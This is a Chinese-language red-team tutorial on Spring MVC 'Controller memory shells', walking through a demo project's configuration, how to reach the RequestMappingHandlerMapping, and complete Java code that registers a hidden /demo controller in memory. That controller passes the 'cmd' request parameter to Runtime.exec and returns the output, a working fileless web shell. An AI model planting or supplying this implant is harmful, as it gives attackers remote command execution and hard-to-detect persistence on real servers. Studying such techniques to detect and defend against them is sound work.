Controller内存马详解

红队蓝军 • 2023-01-02 • 云技术社区 • 436 阅读

搭建一个sprint项目

配置pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>springmvc</artifactId>
    <packaging>pom</packaging>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.12</version>
        </dependency> <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-webmvc</artifactId>
        <version>5.1.9.RELEASE</version>
    </dependency>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>servlet-api</artifactId>
            <version>2.5</version>
        </dependency> <dependency>
        <groupId>javax.servlet.jsp</groupId>
        <artifactId>jsp-api</artifactId>
        <version>2.2</version>
    </dependency>
        <dependency>
        <groupId>javax.servlet</groupId>
        <artifactId>jstl</artifactId>
        <version>1.2</version>
    </dependency> </dependencies>
</project>

Demo

package com.naihe.controller;


import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;


@Controller
public class Cl1 {
    @RequestMapping("/cl1")
    public String hello(String name, Model model){
        model.addAttribute("msg",name);
        return "hello";
    }

}

配置web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app
        xmlns="http://xmlns.jcp.org/xml/ns/javaee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
        http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
        version="4.0">
    <!--1.注册servlet-->
    <servlet>
        <servlet-name>SpringMVC</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <!--通过初始化参数指定SpringMVC配置文件的位置，进行关联-->
        <init-param> <param-name>contextConfigLocation</param-name>
            <param-value>classpath:springmvc-servlet.xml</param-value>
        </init-param>
        <!-- 启动顺序，数字越小，启动越早 -->
        <load-on-startup>1</load-on-startup>
    </servlet>
    <!--所有请求都会被springmvc拦截 -->
    <servlet-mapping>
        <servlet-name>SpringMVC</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>
</web-app>

配置springmvc-servlet.xml

<?xml version="1.0" encoding="UTF-8"?>
<beans
        xmlns="http://www.springframework.org/schema/beans"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:context="http://www.springframework.org/schema/context"
        xmlns:mvc="http://www.springframework.org/schema/mvc"
        xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd
        http://www.springframework.org/schema/context
        https://www.springframework.org/schema/context/spring-context.xsd
        http://www.springframework.org/schema/mvc
        https://www.springframework.org/schema/mvc/spring-mvc.xsd">
    <!-- 自动扫描包，让指定包下的注解生效,由IOC容器统一管理 -->
    <context:component-scan base-package="com.naihe.controller"/>
    <!-- 让Spring MVC不处理静态资源 -->
    <mvc:default-servlet-handler />
    <!-- 支持mvc注解驱动 在spring中一般采用@RequestMapping注解来完成映射关系
    要想使@RequestMapping注解生效
    必须向上下文中注册DefaultAnnotationHandlerMapping
    和一个AnnotationMethodHandlerAdapter实例
    这两个实例分别在类级别和方法级别处理。
    而annotation-driven配置帮助我们自动完成上述两个实例的注入。 -->
    <mvc:annotation-driven />
    <!-- 视图解析器 -->
    <bean id="/ModelAndViewTest" class="com.naihe.controller.ModelAndViewTest"></bean>
    <bean id="/t1" class="com.naihe.controller.HelloController2"></bean>
    <bean id="/mav" class="com.naihe.controller.Mav"/>
    <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver " id="internalResourceViewResolver">
        <!-- 前缀 --> <property name="prefix" value="/WEB-INF/jsp/"/>
        <!-- 后缀 -->
        <property name="suffix" value=".jsp" />
    </bean>


</beans>

配置的位置

1.png

流程分析

获取context

第一种：getCurrentWebApplicationContext()
// getCurrentWebApplicationContext方法获得的是一个XmlWebApplicationContext实例类型的Root WebApplicationContext。WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

第二种：WebApplicationContextUtils
// 通过这种方法获得的也是一个 Root WebApplicationContext 。此方法看起来比较麻烦WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

第三种：RequestContextUtils
// 通过 ServletRequest 类的实例来获得 Child WebApplicationContextWebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

第四种：getAttribute
// 这种方式与前几种的思路就不太一样了，因为所有的Context在创建后，都会被作为一个属性添加到了ServletContext中。所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext

获取RequestMappingHandlerMapping

RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
虽然获取的是RequestMappingHandlerMapping类
但是RequestMappingHandlerMapping继承自AbstractHandlerMethodMapping
同样拥有register
2.png
3.png

注册Controller

这里主要是通过register进行注册Controller

4.png

可以看到register方法的三个参数的类型

这里主要是映射关系，需要配置url和方法的方式

5.png

下面看一下RequestMappingInfo类

6.png

构造方法

7.png

handler是一个Object类，及自定义的Controller类的实例对象

8.png

自定义的Controller类方法的method类

9.png

内存马

package com.naihe.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Method;

@Controller
public class Demo {
    @ResponseBody
    @RequestMapping(value = "/inject", method = RequestMethod.GET)
    public void inject() throws NoSuchMethodException {
        // 1. 利用spring内部方法获取context
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 2. 从context中获得 RequestMappingHandlerMapping 的实例
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

        // 3. 通过反射获得自定义 controller 中的 Method 对象
        Method method = InjectToController.class.getMethod("test");

        // 4. 定义访问 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/demo");

        // 5. 定义允许访问 controller 的 HTTP 方法（GET/POST）
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();

        // 6. 在内存中动态注册 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);

        InjectToController injectToController = new InjectToController();
        mappingHandlerMapping.registerMapping(info, injectToController, method);
    }
    @ResponseBody
    public class InjectToController {
        public InjectToController(){
        }
        public String test() throws Exception {
            // 获取request
            HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();

            InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            InputStreamReader isr = new InputStreamReader(is, "UTF-8");
            BufferedReader br = new BufferedReader(isr);
            String str = "";
            String line = "";

            while ((line = br.readLine())!=null){
                str+=line;
            }
            is.close();
            br.close();
            return str;
        }
    }
}

效果

10.png
11.png
12.png
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